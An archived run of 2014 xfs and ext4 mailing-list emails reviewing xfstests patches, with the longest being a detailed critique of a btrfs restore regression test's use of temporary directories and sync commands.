linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range In-Reply-To: X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-150801687-1393363663=:12444" X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393365875 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-150801687-1393363663=:12444 Content-Type: TEXT/PLAIN; charset=ISO-8859-15 Content-Transfer-Encoding: 8BIT On Tue, 25 Feb 2014, LukᨠCzerner wrote: > Date: Tue, 25 Feb 2014 22:01:06 +0100 (CET) > From: LukᨠCzerner > To: Dave Chinner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > range > > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > Date: Wed, 26 Feb 2014 07:53:49 +1100 > > From: Dave Chinner > > To: Lukas Czerner > > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > > range > > > > On Tue, Feb 25, 2014 at 08:15:28PM +0100, Lukas Czerner wrote: > > > This is copy of xfs/242. However it's better to make it file system > > > specific because the range can be zeroes either directly by writing > > > zeroes, or converting to unwritten extent, so the actual result might > > > differ from file system to file system. > > > > You could say the same thing about preallocation using unwritten > > extents. Yet, funnily enough, we have generic tests for them because > > all filesystems currently use unwritten extents for preallocation > > and behave identically.... > > > > This test is no different - all filesystems currently use unwritten > > extents, and so this test should be generic because all existing > > filesystems *should* behave the same. > > > > When we get a filesystem that zeros rather uses unwritten extents, > > we can add a new *generic* test that tests for zeroed data extents > > rather than unwritten extents. All that we will need is a method of > > checking what behaviour the filesystem has and adding that to a > > _requires directive to ensure the correct generic fallocate tests > > are run... > > Currently xfs/242 fails on xfs for me and it does behave differently > than ext4. Also I had to change to 242.out a bit because ext4 was > a little different. It seems to me that it was expected that when > the extent is small enough it would be overwritten by zeroes rather > than converted to unwritten, but I have not looked into > implementation. > > Btw this kind of optimization is actually something I've been > thinking of as well for ext4. Rather than going though the hassle of > changing extents around it might be worth in some situation to zero > out. But that's an optimization I have not implemented yet. Oops, I am taking it back. It's just too late and apparently I've overlooked something. -Lukas > > -Lukas > > > > > > Cheers, > > > > Dave. > > > -- > To unsubscribe from this list: send the line "unsubscribe linux-ext4" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > --8323328-150801687-1393363663=:12444-- From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 16:05:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 63EBA7F50 for ; Tue, 25 Feb 2014 16:05:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 26ECD304048 for ; Tue, 25 Feb 2014 14:05:41 -0800 (PST) X-ASG-Debug-ID: 1393365939-04bdf05daa3b6f0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id Zw0c9HzAhgNu08ia (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 14:05:40 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIQ8B-0002hD-Gj; Tue, 25 Feb 2014 22:05:39 +0000 Date: Tue, 25 Feb 2014 14:05:39 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/6] xfs/033: add golden output for CRC enabled filesystems Message-ID: <20140225220539.GB5450@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs/033: add golden output for CRC enabled filesystems References: <1393211175-30016-1-git-send-email-david@fromorbit.com> <1393211175-30016-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393211175-30016-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393365940 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 16:06:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D38D87F50 for ; Tue, 25 Feb 2014 16:06:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B47CB304071 for ; Tue, 25 Feb 2014 14:06:00 -0800 (PST) X-ASG-Debug-ID: 1393365959-04cb6c567638750001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id t9EXPetLa75Nl21u (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 14:05:59 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIQ8V-0002hU-9m; Tue, 25 Feb 2014 22:05:59 +0000 Date: Tue, 25 Feb 2014 14:05:59 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/6] xfs/189: noattr2 invalid for CRC enabled filesystems Message-ID: <20140225220559.GC5450@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/6] xfs/189: noattr2 invalid for CRC enabled filesystems References: <1393211175-30016-1-git-send-email-david@fromorbit.com> <1393211175-30016-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393211175-30016-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393365959 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 16:06:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D16067F50 for ; Tue, 25 Feb 2014 16:06:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A0DFB8F8071 for ; Tue, 25 Feb 2014 14:06:54 -0800 (PST) X-ASG-Debug-ID: 1393366013-04cbb066e43b980001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 35T7vhL8tm7AG2TD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 14:06:53 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIQ9N-0002iY-4b; Tue, 25 Feb 2014 22:06:53 +0000 Date: Tue, 25 Feb 2014 14:06:53 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/6] generic/003: ensure time changes between stat calls Message-ID: <20140225220653.GD5450@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 3/6] generic/003: ensure time changes between stat calls References: <1393211175-30016-1-git-send-email-david@fromorbit.com> <1393211175-30016-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393211175-30016-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393366013 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 16:09:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E56E67F50 for ; Tue, 25 Feb 2014 16:09:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B6014304071 for ; Tue, 25 Feb 2014 14:09:12 -0800 (PST) X-ASG-Debug-ID: 1393366151-04bdf05dab3b920001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id lN8bTe3DRhJXT5Un (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 14:09:11 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIQBb-0002lK-J7; Tue, 25 Feb 2014 22:09:11 +0000 Date: Tue, 25 Feb 2014 14:09:11 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/6] shared/051: CRC enabled filesystems handle more than 25 ACLs Message-ID: <20140225220911.GE5450@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/6] shared/051: CRC enabled filesystems handle more than 25 ACLs References: <1393211175-30016-1-git-send-email-david@fromorbit.com> <1393211175-30016-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393211175-30016-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393366151 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 24, 2014 at 02:06:13PM +1100, Dave Chinner wrote: > From: Dave Chinner > > shared/051 fails on CRC enabled filesystems because it doesn't get > an erro on setting the 26th ACL on a file. CRC enabled filesystems > support more than 25, so there shoul dbe no error. > > Allow the test to pass on both non-CRC and CRC enabled filesystems > by detecting the type of filesystem configuration and using that > information to fake the error message so that the golden output > match does not fail. We also need to filter the 26th ACL from the > output otherwise that will cause failures, too. I don't really like this - we'd better of defining a function saying how many ACEs a filesystem supports and use that. Also I think the test for these large ACLs should be a separate test from the other tests currently in 051 as it's been causing a fair amount of issues in the past with various filesystems. From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 16:09:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7FE397F50 for ; Tue, 25 Feb 2014 16:09:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2493BAC003 for ; Tue, 25 Feb 2014 14:09:38 -0800 (PST) X-ASG-Debug-ID: 1393366176-04cbb066e43bae0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id iejNZDdwluYAGQBm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 14:09:37 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIQC0-0002lk-Px; Tue, 25 Feb 2014 22:09:36 +0000 Date: Tue, 25 Feb 2014 14:09:36 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/6] xfs/217: prevent enospc failures on small test devices Message-ID: <20140225220936.GF5450@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs/217: prevent enospc failures on small test devices References: <1393211175-30016-1-git-send-email-david@fromorbit.com> <1393211175-30016-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393211175-30016-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393366177 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 16:10:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0C5987F50 for ; Tue, 25 Feb 2014 16:10:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 93C27AC003 for ; Tue, 25 Feb 2014 14:10:03 -0800 (PST) X-ASG-Debug-ID: 1393366202-04cb6c567838970001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id EhfZeikKnwvpcHPq (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 14:10:02 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIQCP-0002sv-WE; Tue, 25 Feb 2014 22:10:02 +0000 Date: Tue, 25 Feb 2014 14:10:01 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 6/6] xfs/167: need at least 10GB of scratch space to run Message-ID: <20140225221001.GG5450@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 6/6] xfs/167: need at least 10GB of scratch space to run References: <1393211175-30016-1-git-send-email-david@fromorbit.com> <1393211175-30016-7-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393211175-30016-7-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393366202 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From david@fromorbit.com Tue Feb 25 16:11:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 80B477F50 for ; Tue, 25 Feb 2014 16:11:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2FB7CAC003 for ; Tue, 25 Feb 2014 14:11:05 -0800 (PST) X-ASG-Debug-ID: 1393366263-04bdf05dab3ba50001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id bNwddfKcIPIQPD2B for ; Tue, 25 Feb 2014 14:11:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At5MAE0UDVN5LJYePGdsb2JhbABZgwaIT7Q9hVaBGRcDAQEBATg1giUBAQQBOhwjBQsIAxgJJQ8FDRgDBxoTGYdYAwkHwQgNhzAXFowmgSlrB4Q4BJZJgWyMYokIKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 08:41:02 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIQDM-0002TA-R0; Wed, 26 Feb 2014 09:11:00 +1100 Date: Wed, 26 Feb 2014 09:11:00 +1100 From: Dave Chinner To: Filipe David Manana Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature Message-ID: <20140225221100.GG13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> <1393353848-26790-1-git-send-email-fdmanana@gmail.com> <20140225195420.GX13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393366263 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145510 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 09:02:43PM +0000, Filipe David Manana wrote: > On Tue, Feb 25, 2014 at 7:54 PM, Dave Chinner wrote: > > On Tue, Feb 25, 2014 at 06:44:08PM +0000, Filipe David Borba Manana wrote: > >> This is a regression test to verify that the restore feature of btrfs-progs > >> is able to correctly recover files that have compressed extents, specially when > >> the respective file extent items have a non-zero data offset field. > >> > >> This issue is fixed by the following btrfs-progs patch: > >> > >> Btrfs-progs: fix restore of files with compressed extents > >> > >> Signed-off-by: Filipe David Borba Manana > > .... > >> +seq=`basename $0` > >> +seqres=$RESULT_DIR/$seq > >> +echo "QA output created by $seq" > >> + > >> +tmp=/tmp/$$ > >> +status=1 # failure is the default! > >> +trap "_cleanup; exit \$status" 0 1 2 3 15 > > > > here=`pwd` > > Didn't we agree before, for a previous path, to export "here" from the > main control skip and then cleanup tests to not redefine it? > I am confused now :) Yes, we did, but there's no patch to do that yet. Hence tests need to define it until the infrastructure is changed..... > >> + _scratch_mount $OPTIONS > >> + > >> + $XFS_IO_PROG -f -c "pwrite -S 0xff -b 100000 0 100000" \ > >> + $SCRATCH_MNT/foo | _filter_xfs_io > >> + > >> + # Ensure a single file extent item is persisted. > >> + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT > > > > What's the difference here between "sync" and the command run above? > > Unless there's some specific reason for using the above command (and > > that needs to be commented), I think that sync(1) should be used > > instead in all tests. > > I want to force a btrfs transaction commit. Plain old 'sync' would do > it as well for sure, but that applies against all mounted FSs, while > btrfs filesystem sync is applied against a single fs. And the problem with syncing all the filesystems is what? > Plus, since this is a btrfs specific test, is it non sense to exercise > commands from btrfs-progs? At the expense of testing the command that almost every user in the world uses to sync their filesystems? > >> + | _filter_xfs_io > >> + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ > >> + | _filter_xfs_io > >> + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ > >> + | _filter_xfs_io > >> + > >> + md5sum $SCRATCH_MNT/foo | _filter_scratch > > > > So you are doing this with first having "persisted" the new extents. > > Seems kind of strange that you need to persist some and not > > others... > > I need to make sure there's fragmentation (i.e. several file extent > items in the fs btree with data offset fields > 0). Right, but my question is why you haven't ensured that btree is on disk at the time you run the md5sum. That seems important to me because the above sync commands indicate that having the extents on disk rather than in memory is important here. e.g. are you expecting the md5sum to be correct before the data is synced to disk, and then incorrect after the data is synced to disk by the unmount? Will you remember this detail in five years time when this test detects a regression? Indeed, will you even be around to explain why the test does this in five years time? These regression tests are going to be around for the entire life of btrfs, so we better make sure that there's enough information in them to be able to maintain them in 10-15 years time.... > > > > >> + _scratch_unmount > >> + _check_scratch_fs > > > > _check_scratch_fs should be unmounting the SCRATCH_DEV itself > > internally. If it's not doing that for btrfs, then the btrfs check > > code needs fixing. ;) > > No it doesn't unmount. Then _check_btrfs_filesystem() needs fixing. It certainly does have code in it to check and unmount the scratch device, so if that is not happening then there's something broken that needs to be fixed. Fix the infrastructure bug, don't work around it. > >> + > >> + _run_btrfs_util_prog restore $SCRATCH_DEV $tmp > >> + md5sum $tmp/foo | cut -d ' ' -f 1 > > > > What, exactly, are you restoring to /tmp/$$? Does this assume that > > /tmp is a btrfs filesystem? If so, that is an invalid assumption - > > /tmp can be any type of filesystem at all. > > The restore command allows you to grab files from a (potentially > damaged) btrfs filesystem and save them to a destination path, no > matter what its filesystem is (btrfs, extN, xfs, etc) Needs a comment. [ Ugh. btrfs defines "restore" to mean "recover from [broken] device", not "restore from backup" like it's used everywhere else in the filesystem world? ] > > It's also wrong to use $tmp like this.... > > > >> +} > >> + > >> +mkdir $tmp > >> +echo "Testing restore of file compressed with lzo" > >> +test_btrfs_restore "lzo" > >> +echo "Testing restore of file compressed with zlib" > >> +test_btrfs_restore "zlib" > >> +echo "Testing restore of file without any compression" > >> +test_btrfs_restore > > > > Yup, using $tmp like this is definitely wrong. $tmp is really for test > > harness files and test logs, not for *test data*. TEST_DIR is what you > > should be using here, not $tmp. > > Alright... Many other existing tests do things like this. Yes, but we don't want new tests to do this. I get annoyed by tests failing due to running of disk space on /tmp or OOMing on machines that use a small tmpfs filesystem for /tmp because tests use it for dumping large test files rather than TEST_DIR.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Tue Feb 25 16:34:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EAC617F52 for ; Tue, 25 Feb 2014 16:34:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6CC18AC004 for ; Tue, 25 Feb 2014 14:34:10 -0800 (PST) X-ASG-Debug-ID: 1393367648-04cb6c567639580001-NocioJ Received: from mail-qc0-f180.google.com (mail-qc0-f180.google.com [209.85.216.180]) by cuda.sgi.com with ESMTP id 8e4E95O5HIgE7ooQ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 14:34:08 -0800 